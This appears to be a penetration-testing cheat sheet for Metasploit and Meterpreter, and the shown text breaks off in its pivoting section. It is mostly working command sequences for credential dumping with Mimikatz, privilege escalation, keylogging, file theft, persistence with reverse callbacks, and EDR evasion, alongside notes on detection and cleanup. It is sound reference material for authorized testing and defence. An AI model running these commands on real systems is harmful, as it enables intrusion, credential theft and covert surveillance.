daemon-sec-cheatsheet

metasploit.md (48569B)

---

 ---
 title: "Metasploit Framework"
 description: "msfconsole and Meterpreter workflow: search, exploits, payloads, sessions, post modules, pivoting."
 category: exploitation
 tags: [exploitation, framework, post-exploitation]
 tools: [Metasploit, msfconsole, Meterpreter]
 difficulty: intermediate
 updated: "2026-08-09"
 source: "vault:Tools/meterpreter.md"
 ---
 
 # Metasploit Framework
 
 ---
 
 ## Session Management
 
 > **Note —** + Prerequisites
 > 1. Successful exploit execution or payload delivery
 > 2. Network connectivity to handler
 > 3. Appropriate listener configured in [Metasploit Framework](https://www.metasploit.com/)
 
 > **Note —** + [Metasploit Framework](https://www.metasploit.com/) Overview
 > Open-source penetration testing platform for exploit development and execution
 > 4. Exploit database with thousands of modules
 > 5. Payload generation and delivery mechanisms
 > 6. Post-exploitation framework via [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/)
 > 7. Session management and pivoting capabilities
 
 ### Core Session Commands
 
 ```bash
 # In msfconsole
 sessions -l                    # List all active sessions
 sessions -i <ID>              # Interact with session
 sessions -k <ID>              # Kill session
 sessions -K                   # Kill all sessions
 sessions -u <ID>              # Upgrade shell to Meterpreter (if applicable)
 background                    # Background current session (Ctrl+Z)
 ```
 
 > **Note —** + Command Breakdown
 > 1. **sessions -l**: Displays all active sessions with details (ID, type, target, timestamp)
 > 2. **-i <ID>**: Interact with specific session number to access [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) prompt
 > 3. **-v**: Verbose session information including architecture and user context
 > 4. **-q**: Quiet mode with minimal output for scripting
 > 5. **-u <ID>**: Upgrades standard shell to full [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session (if architecture matches)
 > 6. *Check "Last checkin" timestamp to verify session health and connectivity*
 
 > **Note —** + Session Management Best Practices
 > 1. Always verify session type and architecture before operations
 > 2. Background sessions instead of closing to preserve access
 > 3. Monitor session check-in times for connectivity issues
 > 4. Upgrade shells to [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) for enhanced capabilities
 > 5. Name sessions with `-n` flag for easy identification in multi-target engagements
 
 ### Output Interpretation
 
 | Column | Description | Notes |
 |:---|:---|:---|
 | Session ID | Unique identifier for each connection | Used for all session commands |
 | Type | [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) (staged/stageless), shell, etc. | Determines available commands |
 | Info | Target OS, architecture, user context | Critical for payload compatibility |
 | Last checkin | Timestamp of last communication | Health indicator for session |
 
 > **Note —** + OPSEC and Detection Considerations
 > 1. [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) runs in memory (fileless) but creates network traffic patterns
 > 2. Reverse TCP connections generate outbound traffic—firewall/EDR may alert
 > 3. Session check-ins create periodic beaconing (default 5 sec)—tune with `set SessionCommunicationTimeout`
 > 4. Process injection and migration leave forensic traces in memory
 > 5. Network traffic patterns are signatured by modern EDR solutions
 
 > **Note —** + Common Errors and Solutions
 > 6. **"Session X is not valid"**: Session died; check network stability and target system status
 > 7. **"Exploit completed, but no session was created"**: Payload blocked by AV/EDR or architecture mismatch
 > 8. **Timeout errors**: Adjust `SessionExpirationTimeout` and `SessionCommunicationTimeout` in handler options
 > 9. **Connection drops**: Firewall blocking callbacks or target system rebooted
 
 ---
 
 ## Navigation and System Information
 
 > **Note —** + Prerequisites
 > 1. Active [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session
 > 2. User-level access minimum
 > 3. Understanding of target operating system file structure
 
 ### Core Navigation Commands
 
 ```bash
 sysinfo                       # System information (OS, arch, hostname)
 getuid                        # Current user context
 pwd                           # Print working directory
 ls                            # List directory contents
 cd <path>                     # Change directory
 cat <file>                    # Display file contents
 download <remote> <local>     # Download file from target
 upload <local> <remote>       # Upload file to target
 search -f <pattern>           # Search for files
 ps                            # List processes
 shell                         # Drop to system shell
 exit                          # Close Meterpreter session
 ```
 
 > **Note —** + Command Breakdown
 > 1. **sysinfo**: Returns OS version, architecture (x86/x64), hostname, and domain membership
 > 2. **getuid**: Shows current user privilege level (SYSTEM, administrator, standard user)
 > 3. **ls -l**: Long format displaying permissions, timestamps, and file sizes
 > 4. **download -r <dir>**: Recursive download of entire directory structure
 > 5. **search -d <dir> -f <pattern>**: Search specific directory for filename patterns
 > 6. **ps -S <name>**: Filter process list by name for quick identification
 > 7. *File operations generate disk I/O that may trigger EDR monitoring*
 
 ### File Search and Enumeration
 
 ```bash
 # Navigate and exfiltrate
 cd C:\\Users\\victim\\Documents
 ls
 download sensitive.docx /tmp/loot/
 
 # Upload tool
 upload /opt/tools/mimikatz.exe C:\\Windows\\Temp\\m.exe
 
 # Find files
 search -f *.kdbx
 search -d C:\\Users -f *password*
 
 # Process enumeration
 ps
 ps -S lsass.exe
 ```
 
 > **Note —** + Search Command Breakdown
 > 1. **search -f *.kdbx**: Locate [KeePass](https://keepass.info/) database files containing credentials
 > 2. **-d C:\\Users**: Limits search scope to specific directory for faster results
 > 3. **\*password\***: Wildcard pattern matching for files containing "password" in filename
 > 4. *Search operations generate high disk I/O and may be detected by behavioral analysis*
 
 ### Process Enumeration Analysis
 
 > **Note —** + Process List Interpretation
 > 1. Look for security products (Windows Defender, CrowdStrike, Carbon Black)
 > 2. Identify high-value processes ([lsass.exe](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) for credentials, browsers for sessions)
 > 3. Note process architecture (x86/x64) for migration compatibility
 > 4. Check process ownership to identify privilege levels
 
 > **Note —** + OPSEC and Detection Considerations
 > 1. File operations (`download`, `upload`, `cat`) generate disk I/O—EDR may flag
 > 2. `shell` drops to cmd.exe/bash—creates child process and logs ([Windows Event 4688](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4688))
 > 3. Excessive `ls` or `search` commands indicate enumeration behavior pattern
 > 4. Timestomping not automatic—use `timestomp` separately if needed for stealth
 > 5. File access generates [Windows Event 4663](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4663) (object access)
 
 > **Note —** + Common Errors and Solutions
 > 6. **"Operation failed: Access is denied"**: Insufficient privileges or file in use by system
 > 7. **"Download failed"**: Verify target file path, permissions, and disk space on attacker system
 > 8. **shell hangs**: Adjust `read` timeout or use `execute -f cmd.exe -i -c` for interactive shell
 > 9. **Path errors on Windows**: Use double-backslashes or forward slashes in paths
 
 ---
 
 ## Credential Extraction with Kiwi (Mimikatz)
 
 > **Note —** + High Detection Risk Warning
 > [Kiwi](https://github.com/gentilkiwi/mimikatz)/[Mimikatz](https://github.com/gentilkiwi/mimikatz) is heavily signatured by AV/EDR. Opening lsass.exe triggers alerts on mature EDR platforms (Defender ATP, CrowdStrike, SentinelOne). Consider alternatives: procdump → parse offline, or native comsvcs.dll method.
 
 > **Note —** + Prerequisites
 > 1. Active [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session on Windows target
 > 2. SYSTEM or Administrator privileges (for most functions)
 > 3. Target process with credentials in memory ([lsass.exe](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection))
 > 4. Kiwi module available in [Metasploit](https://www.metasploit.com/)
 
 > **Note —** + [Mimikatz](https://github.com/gentilkiwi/mimikatz) Overview
 > Post-exploitation tool for extracting plaintext passwords, hashes, and Kerberos tickets from Windows memory
 > 1. Dumps credentials from [LSASS](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) (Local Security Authority Subsystem Service)
 > 2. Extracts [Kerberos](https://web.mit.edu/kerberos/) tickets for Pass-the-Ticket attacks
 > 3. Creates [Golden Tickets](https://attack.mitre.org/techniques/T1558/001/) for domain persistence
 > 4. Bypasses authentication mechanisms in Windows environments
 
 ### Core Kiwi Commands
 
 ```bash
 load kiwi                     # Load Kiwi extension
 kiwi_cmd                      # Execute raw Mimikatz command
 creds_all                     # Dump all credentials (msv, kerberos, wdigest, etc.)
 creds_msv                     # Dump NTLM hashes (MSV)
 creds_kerberos                # Dump Kerberos tickets
 creds_wdigest                 # Dump WDigest credentials (plaintext if enabled)
 creds_ssp                     # Dump SSP credentials
 creds_tspkg                   # Dump TsPkg credentials
 lsa_dump_sam                  # Dump local SAM hashes
 lsa_dump_secrets              # Dump LSA secrets
 golden_ticket_create          # Create Kerberos Golden Ticket
 ```
 
 > **Note —** + Command Breakdown
 > 1. **load kiwi**: Loads [Mimikatz](https://github.com/gentilkiwi/mimikatz) extension into [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session (architecture must match)
 > 2. **creds_all**: Attempts all credential extraction methods simultaneously
 > 3. **creds_msv**: Extracts NTLM hashes from MSV1_0 authentication package
 > 4. **creds_wdigest**: Extracts plaintext passwords (Windows 7/2008R2 only, disabled by default on 10+)
 > 5. **lsa_dump_sam**: Dumps local SAM database hashes (equivalent to `hashdump`)
 > 6. *Commands auto-execute in SYSTEM context if migrated to appropriate process*
 
 ### Practical Credential Extraction
 
 ```bash
 # Load Kiwi module
 load kiwi
 
 # Dump all credential types
 creds_all
 
 # Dump only NTLM hashes
 creds_msv
 
 # Dump Kerberos tickets
 creds_kerberos
 
 # Dump local SAM database
 lsa_dump_sam
 
 # Execute custom Mimikatz command
 kiwi_cmd "sekurlsa::logonpasswords"
 
 # Create Golden Ticket (requires krbtgt hash)
 golden_ticket_create -d domain.local -u Administrator -s <SID> -k <NTLM_hash>
 ```
 
 > **Note —** + Output Interpretation
 > 1. **Authentication Id**: Correlates credentials to specific logon sessions
 > 2. **User Name**: Account associated with credentials
 > 3. **NTLM hashes**: Use for [Pass-the-Hash](https://attack.mitre.org/techniques/T1550/002/) attacks
 > 4. **Kerberos tickets**: Extract .kirbi files for [Pass-the-Ticket](https://attack.mitre.org/techniques/T1550/003/) or Overpass-the-Hash
 > 5. **WDigest**: Plaintext passwords (only on Windows 7/2008R2 or if manually enabled)
 
 ### Credential Attack Techniques
 
 | Credential Type | Attack Method | Use Case |
 |:---|:---|:---|
 | NTLM Hash | [Pass-the-Hash](https://attack.mitre.org/techniques/T1550/002/) | Lateral movement without plaintext password |
 | Kerberos Ticket | [Pass-the-Ticket](https://attack.mitre.org/techniques/T1550/003/) | Impersonate user sessions |
 | WDigest Plaintext | Direct authentication | Access services requiring password |
 | krbtgt Hash | [Golden Ticket](https://attack.mitre.org/techniques/T1558/001/) | Domain-level persistence |
 
 > **Note —** + OPSEC and Detection Considerations
 > 1. **HIGH DETECTION RISK**: [Kiwi](https://github.com/gentilkiwi/mimikatz)/[Mimikatz](https://github.com/gentilkiwi/mimikatz) heavily signatured by AV/EDR
 > 2. Opening [lsass.exe](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) triggers alerts on mature EDR (Defender ATP, CrowdStrike, SentinelOne)
 > 3. [Windows Event 4656](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4656) (handle to lsass.exe) + [4663](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4663) (lsass.exe read) = common detection
 > 4. [Credential Guard](https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard) (Windows 10+) blocks many [Mimikatz](https://github.com/gentilkiwi/mimikatz) techniques
 > 5. Memory scanning will detect [Mimikatz](https://github.com/gentilkiwi/mimikatz) strings/patterns
 > 6. Consider alternatives: [procdump](https://learn.microsoft.com/en-us/sysinternals/downloads/procdump) → parse offline, or native comsvcs.dll method
 
 > **Note —** + Common Errors and Solutions
 > 1. **"Load Mimikatz failed"**: Anti-virus blocked; migrate to different process or disable AV
 > 2. **"Access is denied" / "ERROR kuhl_m_sekurlsa"**: Not running as SYSTEM—use `getsystem` first
 > 3. **"No credentials found"**: WDigest disabled (Windows 10+); rely on NTLM hashes instead
 > 4. **Kiwi module not available**: Update [Metasploit](https://www.metasploit.com/) or use standalone [Mimikatz](https://github.com/gentilkiwi/mimikatz)
 > 5. **Architecture mismatch**: Ensure [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session matches target (x64 for x64 Windows)
 
 > **Note —** + Alternative Credential Extraction Methods
 > 6. **procdump + offline parsing**: Less noisy, avoids real-time EDR hooks
 > 7. **comsvcs.dll method**: Native Windows DLL for LSASS dumping
 > 8. **Task Manager dump**: Manual method, less suspicious than automated tools
 > 9. **SSP/AP registration**: Custom Security Support Provider for credential interception
 > 10. **Registry hive extraction**: Export SAM/SYSTEM hives for offline cracking
 
 ---
 
 ## Privilege Escalation
 
 > **Note —** + Prerequisites
 > 1. Active [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session
 > 2. User-level access minimum
 > 3. Exploitable privilege escalation vector (misconfiguration, unpatched vulnerability)
 > 4. Understanding of target Windows version and patch level
 
 ### Core Privilege Escalation Commands
 
 ```bash
 getsystem                     # Attempt automatic privilege escalation
 getprivs                      # Display current process privileges
 use post/multi/recon/local_exploit_suggester   # Suggest priv-esc exploits
 use exploit/windows/local/*   # Local exploit modules
 run post/windows/gather/win_privs   # Enumerate Windows privileges
 ```
 
 > **Note —** + Command Breakdown
 > 1. **getsystem**: Tries multiple techniques (named pipe impersonation, token duplication)
 > 2. **-t flag**: Specify technique: `getsystem -t 1` (technique 1: named pipe impersonation)
 > 3. **getprivs**: Lists current process [privileges](https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants) (SeDebugPrivilege, SeImpersonatePrivilege critical)
 > 4. **local_exploit_suggester**: Compares installed patches against known privilege escalation exploits
 > 5. *Always run `getuid` and `getprivs` before attempting escalation*
 
 ### Privilege Escalation Workflow
 
 ```bash
 # Check current privileges
 getuid
 getprivs
 
 # Attempt automatic escalation
 getsystem
 
 # If getsystem fails, background and run suggester
 background
 use post/multi/recon/local_exploit_suggester
 set SESSION 1
 run
 
 # Run suggested exploit
 use exploit/windows/local/ms16_075_reflection
 set SESSION 1
 set LHOST <your_IP>
 run
 
 # Verify escalation
 getuid   # Should show "NT AUTHORITY\SYSTEM"
 ```
 
 > **Note —** + Privilege Escalation Technique Analysis
 > 1. **Technique 0 (Named Pipe Impersonation)**: Creates named pipe, impersonates SYSTEM token
 > 2. **Technique 1 (Token Duplication)**: Duplicates existing SYSTEM token from service process
 > 3. **Technique 2 (Named Pipe Impersonation - Alternative)**: Variation of technique 0
 > 4. *Modern Windows (10+) has protections against named pipe impersonation attacks*
 
 ### Important Windows Privileges
 
 | Privilege | Attack Method | Description |
 |:---|:---|:---|
 | SeDebugPrivilege | Process injection | Debug and inject into any process |
 | SeImpersonatePrivilege | [Potato attacks](https://jlajara.gitlab.io/Potatoes_Windows_Privesc) | Impersonate tokens (RoguePotato, PrintSpoofer) |
 | SeBackupPrivilege | File access | Read any file on system |
 | SeRestorePrivilege | File modification | Write to any file on system |
 | SeLoadDriverPrivilege | Kernel exploit | Load unsigned drivers |
 
 > **Note —** + OPSEC and Detection Considerations
 > 1. `getsystem` creates named pipes—EDR may detect pattern (e.g., `\\\\.\\pipe\\random`)
 > 2. Token manipulation = suspicious API calls (OpenProcess, DuplicateTokenEx)
 > 3. Local exploits may crash processes or generate kernel logs
 > 4. Prefer misconfigurations (unquoted service paths, weak permissions) over exploits when possible
 > 5. [Windows Event 4673](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673) logs sensitive privilege use
 
 > **Note —** + Common Errors and Solutions
 > 6. **"Operation failed: Access is denied"**: Technique blocked by OS or AV; try alternative method
 > 7. **"Could not obtain SYSTEM"**: No exploitable path; enumerate manually or use external tool
 > 8. **Exploit crashes session**: Unstable target or wrong OS version—check `sysinfo` first
 > 9. **Suggester returns no results**: System fully patched; focus on misconfigurations
 
 > **Note —** + Alternative Privilege Escalation Vectors
 > 10. **Unquoted Service Paths**: Service paths with spaces and no quotes
 > 11. **Weak Service Permissions**: Services modifiable by low-privilege users
 > 12. **Always Install Elevated**: Registry setting allowing MSI installation as SYSTEM
 > 13. **Scheduled Tasks**: Tasks running as SYSTEM with writable binaries
 > 14. **DLL Hijacking**: Missing DLLs in service search paths
 
 ---
 
 ## Local Hash Extraction (Non-Kiwi)
 
 > **Note —** + Prerequisites
 > 1. Active [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session on Windows
 > 2. SYSTEM or Administrator privileges
 > 3. Access to [SAM](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/credentials-processes-in-windows-authentication)/SYSTEM registry hives
 
 ### Core Hash Extraction Commands
 
 ```bash
 hashdump                      # Dump local SAM password hashes
 run post/windows/gather/credentials/credential_collector   # Collect multiple credential sources
 run post/windows/gather/smart_hashdump   # Dump hashes from SAM & domain cache
 ```
 
 > **Note —** + Command Breakdown
 > 1. **hashdump**: Classic command requiring SYSTEM privileges for registry access
 > 2. **credential_collector**: Comprehensive module collecting from multiple sources (SAM, LSA, registry)
 > 3. **smart_hashdump**: Enhanced version with domain cache support and better error handling
 > 4. *Always escalate to SYSTEM with `getsystem` before hash extraction*
 
 ### Hash Extraction Workflow
 
 ```bash
 # Escalate to SYSTEM
 getsystem
 
 # Dump local hashes
 hashdump
 
 # Alternative: Run smart_hashdump module
 background
 use post/windows/gather/smart_hashdump
 set SESSION 1
 run
 
 # Collect all available credentials
 use post/windows/gather/credentials/credential_collector
 set SESSION 1
 run
 ```
 
 > **Note —** + Hash Format Output Interpretation
 > **Format**: `username:RID:LM_hash:NTLM_hash:::`
 > 1. **LM hash**: Often `aad3b435b51404eeaad3b435b51404ee` (empty/disabled on modern Windows)
 > 2. **NTLM hash**: Modern hash format for [Pass-the-Hash](https://attack.mitre.org/techniques/T1550/002/) attacks or offline cracking
 > 3. **RID 500**: Built-in Administrator account (high-value target)
 > 4. **RID 501**: Built-in Guest account (usually disabled)
 
 ### Hash Attack Techniques
 
 | Hash Type | Tool | Command Example |
 |:---|:---|:---|
 | NTLM | [hashcat](https://hashcat.net/hashcat/) | `hashcat -m 1000 hashes.txt rockyou.txt` |
 | NTLM | [John the Ripper](https://www.openwall.com/john/) | `john --format=NT hashes.txt` |
 | LM | [hashcat](https://hashcat.net/hashcat/) | `hashcat -m 3000 hashes.txt rockyou.txt` |
 | Pass-the-Hash | [Impacket](https://github.com/SecureAuthCorp/impacket) | `psexec.py -hashes :NTLM admin@target` |
 
 > **Note —** + OPSEC and Detection Considerations
 > 1. Reading [SAM](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/credentials-processes-in-windows-authentication) registry hive is detectable (registry access events)
 > 2. Less noisy than [Kiwi](https://github.com/gentilkiwi/mimikatz)/[Mimikatz](https://github.com/gentilkiwi/mimikatz) but still generates logs
 > 3. Consider exfiltrating registry hives manually (`reg save HKLM\\SAM`, `reg save HKLM\\SYSTEM`) for offline extraction
 > 4. File `%SystemRoot%\\System32\\config\\SAM` locked while OS running—use registry hive method
 > 5. [Windows Event 4657](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4657) logs registry value modifications
 
 > **Note —** + Common Errors and Solutions
 > 6. **"Access is denied"**: Not SYSTEM—run `getsystem` first before hash extraction
 > 7. **"Failed to dump hashes"**: SAM database locked or corrupted; try `smart_hashdump` or registry export
 > 8. **Empty hash output**: Target is domain-joined with no local accounts used
 > 9. **Module fails**: Try classic `hashdump` command instead of post modules
 
 > **Note —** + Offline Hash Extraction Alternative
 > 10. Export registry hives: `reg save HKLM\\SAM sam.hive` and `reg save HKLM\\SYSTEM system.hive`
 > 11. Download hives from target system
 > 12. Extract locally using [secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) from [Impacket](https://github.com/SecureAuthCorp/impacket)
 > 13. Less detection risk (no LSASS interaction, standard registry operations)
 
 ---
 
 ## Screenshot and Keylogging
 
 > **Note —** + Prerequisites
 > 1. Active [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session
 > 2. User-level access (screenshots require active GUI session)
 > 3. Keylogger requires injection into user process (explorer.exe, browser)
 > 4. Active desktop session (RDP, physical console, or virtual desktop)
 
 ### Core Surveillance Commands
 
 ```bash
 screenshot                    # Capture single screenshot
 screenshare                   # Stream live screenshots
 keyscan_start                 # Start keylogger
 keyscan_dump                  # Dump captured keystrokes
 keyscan_stop                  # Stop keylogger
 ```
 
 > **Note —** + Command Breakdown
 > 1. **screenshot -v false**: Disable automatic view/display of captured screenshot
 > 2. **screenshot -p <path>**: Save screenshot to specific file path
 > 3. **screenshare -q <quality>**: Set JPEG quality (1-100) for bandwidth optimization
 > 4. **keyscan_start**: Hooks keyboard input at OS level
 > 5. *Migrate to explorer.exe or browser process before starting keylogger for stability*
 
 ### Surveillance Workflow
 
 ```bash
 # Capture screenshot
 screenshot
 
 # Save screenshot to specific file
 screenshot -p /tmp/loot/desktop.png
 
 # Stream screenshots (real-time)
 screenshare
 
 # Start keylogger
 keyscan_start
 
 # Wait, then dump keystrokes
 keyscan_dump
 
 # Stop keylogger
 keyscan_stop
 ```
 
 > **Note —** + Output Interpretation
 > 1. **Screenshot**: Saved to local attacker system; check for sensitive data on screen (passwords, documents)
 > 2. **Keystroke dump**: Plain text; look for passwords typed in forms or applications
 > 3. **Parse keylogs**: Search for credentials (login forms, password managers, terminal commands)
 > 4. **Timestamp analysis**: Correlate keystrokes with user activity patterns
 
 > **Note —** + OPSEC and Detection Considerations
 > 1. `screenshot` uses Windows GDI API—low detection but generates memory artifacts
 > 2. `screenshare` creates persistent network traffic (bandwidth spike)—may alert network operations
 > 3. Keylogger hooks keyboard input—EDR detects SetWindowsHookEx, GetAsyncKeyState APIs
 > 4. Migrate to explorer.exe or browser for keylogger stability and stealth
 > 5. AV signatures exist for [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) keylogger patterns
 > 6. Memory forensics can detect injected keylogger code
 
 > **Note —** + Common Errors and Solutions
 > 1. **"No active desktop session"**: RDP/GUI not active; screenshots fail on Server Core or no logged-in user
 > 2. **"Could not start keylogger"**: Injection failed—try migrating to different process (explorer.exe)
 > 3. **Screenshot blank/black**: Target using Citrix/RDP session with restricted display capture
 > 4. **Keylogger crashes**: Process terminated or protected by security software
 
 > **Note —** + Keylogger Best Practices
 > 1. Migrate to stable, long-running process (explorer.exe) before starting
 > 2. Dump keystrokes periodically to avoid losing data if session dies
 > 3. Parse output for credential patterns (username/password forms)
 > 4. Consider process-specific keylogging for targeted data collection
 > 5. Stop keylogger when not actively collecting to reduce detection risk
 
 ---
 
 ## Persistence Mechanisms
 
 > **Note —** + High Detection Risk Warning
 > Persistence mechanisms leave indicators of compromise (IOCs) on disk and in registry. These are heavily monitored by EDR and will generate alerts. Always document IOCs for post-engagement remediation.
 
 > **Note —** + Prerequisites
 > 1. Active [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session
 > 2. Administrator or SYSTEM privileges (for system-wide persistence)
 > 3. Write access to startup folders, registry, or scheduled tasks
 > 4. Understanding of target security monitoring capabilities
 
 ### Core Persistence Commands
 
 ```bash
 run persistence -h            # Show persistence options (deprecated; use module)
 run exploit/windows/local/persistence_service   # Install as Windows service
 ```
 
 > **Note —** + Persistence Options (Legacy)
 > 1. **-U**: User-level persistence (HKCU startup)—survives only for specific user
 > 2. **-X**: System-level persistence (HKLM startup, requires admin)—survives all users
 > 3. **-i <seconds>**: Callback interval between beacon connections
 > 4. **-r <IP>**: Reverse connection IP address for callback
 > 5. *Legacy `run persistence` script deprecated in Metasploit 6.x—use post modules instead*
 
 ### Modern Persistence Implementation
 
 ```bash
 # Legacy persistence (if available)
 run persistence -U -i 60 -p 443 -r <your_IP>
 
 # Modern method: Use post module
 background
 use exploit/windows/local/persistence_service
 set SESSION 1
 set LHOST <your_IP>
 set LPORT 443
 run
 
 # Alternative: Manual registry key
 execute -f reg -a "add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Updater /t REG_SZ /d C:\\Windows\\Temp\\payload.exe"
 
 # Scheduled task persistence
 execute -f schtasks -a "/create /tn \"Updater\" /tr C:\\Windows\\Temp\\payload.exe /sc onlogon /ru System"
 ```
 
 > **Note —** + Persistence Technique Breakdown
 > 1. **Registry Run keys**: Executes on user logon (HKCU) or system boot (HKLM)
 > 2. **Windows Service**: Runs as service with SYSTEM privileges
 > 3. **Scheduled Task**: Flexible triggers (logon, boot, time-based)
 > 4. **WMI Event Subscription**: Stealthy, survives reboots, difficult to detect
 > 5. *Always save cleanup script path from module output for IOC removal*
 
 ### Persistence Technique Comparison
 
 | Technique | Privilege Required | Stealth | Detection Method |
 |:---|:---|:---|:---|
 | Registry Run Key | User | Low | [Event 4657](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4657), Registry monitoring |
 | Windows Service | Administrator | Low | [Event 7045](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-7045), Service enumeration |
 | Scheduled Task | Administrator | Medium | [Event 4698](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698), Task enumeration |
 | WMI Event | Administrator | High | WMI repository inspection |
 | DLL Hijacking | User/Admin | High | Process monitoring, DLL auditing |
 
 > **Note —** + OPSEC and Detection Considerations
 > 1. **HIGH DETECTION RISK**: Persistence = IOC left on disk/registry
 > 2. Registry Run keys (HKCU/HKLM `\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) heavily monitored
 > 3. Scheduled tasks generate [Event 4698](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698) (Windows Security Log)—blue teams watch this
 > 4. Service creation = [Event 7045](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-7045) (System Log)—immediate alert trigger
 > 5. Payload on disk = AV/EDR will scan and likely detect
 > 6. Consider WMI, WMI Event Subscriptions, or DLL hijacking for stealthier persistence
 > 7. Always have cleanup plan and document IOCs for post-test remediation
 
 > **Note —** + Common Errors and Solutions
 > 8. **"Insufficient privileges"**: Requires admin for HKLM/service persistence; try user-level `-U`
 > 9. **"Could not write payload"**: AV deleted file or path doesn't exist—check permissions
 > 10. **Session not re-connecting**: Firewall blocked outbound, wrong IP/port, or payload detected
 > 11. **Module fails**: Deprecated script; update [Metasploit](https://www.metasploit.com/) or use alternative module
 
 > **Note —** + Stealthier Persistence Alternatives
 > 12. **WMI Event Subscriptions**: Harder to detect, survives reboots
 > 13. **DLL Hijacking**: Legitimate process loads malicious DLL
 > 14. **COM Hijacking**: Redirects COM object instantiation
 > 15. **Accessibility Features**: Replace sethc.exe, utilman.exe (requires SYSTEM)
 > 16. **AppInit_DLLs**: Injects DLL into all processes (Windows 7 only)
 
 ---
 
 ## Pivoting and Port Forwarding
 
 > **Note —** + Prerequisites
 > 1. Active [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session
 > 2. Target host multi-homed (connected to multiple networks)
 > 3. Understanding of target network topology and segmentation
 > 4. [proxychains](https://github.com/haad/proxychains) or similar tool for SOCKS proxying
 
 > **Note —** + [proxychains](https://github.com/haad/proxychains) Overview
 > Tool for forcing network traffic through SOCKS or HTTP proxies
 > 1. Tunnels application traffic through proxy chains
 > 2. Supports SOCKS4, SOCKS5, and HTTP proxies
 > 3. Dynamic or strict proxy chain modes
 > 4. Essential for pivoting through compromised hosts
 
 ### Core Pivoting Commands
 
 ```bash
 run autoroute -h              # Add routes through Meterpreter session
 run autoroute -s <subnet>     # Add subnet route
 portfwd -h                    # Port forwarding help
 portfwd add -l <local_port> -p <target_port> -r <target_IP>   # Forward port
 portfwd list                  # List active forwards
 portfwd delete -l <local_port>   # Remove forward
 ```
 
 > **Note —** + Command Breakdown
 > 1. **autoroute -s <subnet/CIDR>**: Route network traffic through [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session
 > 2. **portfwd add -L <bind_IP>**: Specify local bind IP for port forwarding
 > 3. **portfwd -R**: Reverse port forward (target to attacker; less common)
 > 4. **autoroute -p**: Display all configured routes and associated sessions
 > 5. *Always verify target network interfaces with `ipconfig`/`ifconfig` before adding routes*
 
 ### Pivoting Workflow
 
 ```bash
 # View target network interfaces
 ipconfig   # Windows
 ifconfig   # Linux
 
 # Add route to internal subnet
 run autoroute -s 10.10.10.0/24
 
 # Verify route added
 run autoroute -p
 
 # Forward RDP port from internal host
 portfwd add -l 3389 -p 3389 -r 10.10.10.50
 
 # Access via localhost
 xfreerdp /v:127.0.0.1 /u:admin
 
 # Set up SOCKS proxy for full pivoting
 background
 use auxiliary/server/socks_proxy
 set SRVHOST 127.0.0.1
 set SRVPORT 1080
 set VERSION 4a
 run -j
 
 # Configure proxychains and scan internal network
 # Edit /etc/proxychains4.conf: socks4 127.0.0.1 1080
 proxychains nmap -sT -Pn 10.10.10.0/24
 ```
 
 > **Note —** + SOCKS Proxy Setup Breakdown
 > 1. **SRVHOST 127.0.0.1**: Bind proxy server to localhost
 > 2. **SRVPORT 1080**: Standard SOCKS port (configurable)
 > 3. **VERSION 4a**: SOCKS4a protocol with DNS proxying support
 > 4. **run -j**: Run as background job (non-blocking)
 > 5. *Configure [proxychains4.conf](https://github.com/haad/proxychains) with `socks4 127.0.0.1 1080` before use*
 
 ### Port Forwarding Techniques
 
 | Technique | Use Case | Command Pattern |
 |:---|:---|:---|
 | Local Port Forward | Access internal service via localhost | `portfwd add -l <local> -p <remote> -r <IP>` |
 | Reverse Port Forward | Expose attacker service to target network | `portfwd add -R -l <local> -p <remote> -L <IP>` |
 | SOCKS Proxy | Route all traffic through pivot | `auxiliary/server/socks_proxy` |
 | Dynamic Tunneling | SSH-style dynamic forwarding | Use with [proxychains](https://github.com/haad/proxychains) |
 
 > **Note —** + OPSEC and Detection Considerations
 > 1. Pivoting generates east-west (lateral) traffic—anomaly for workstations
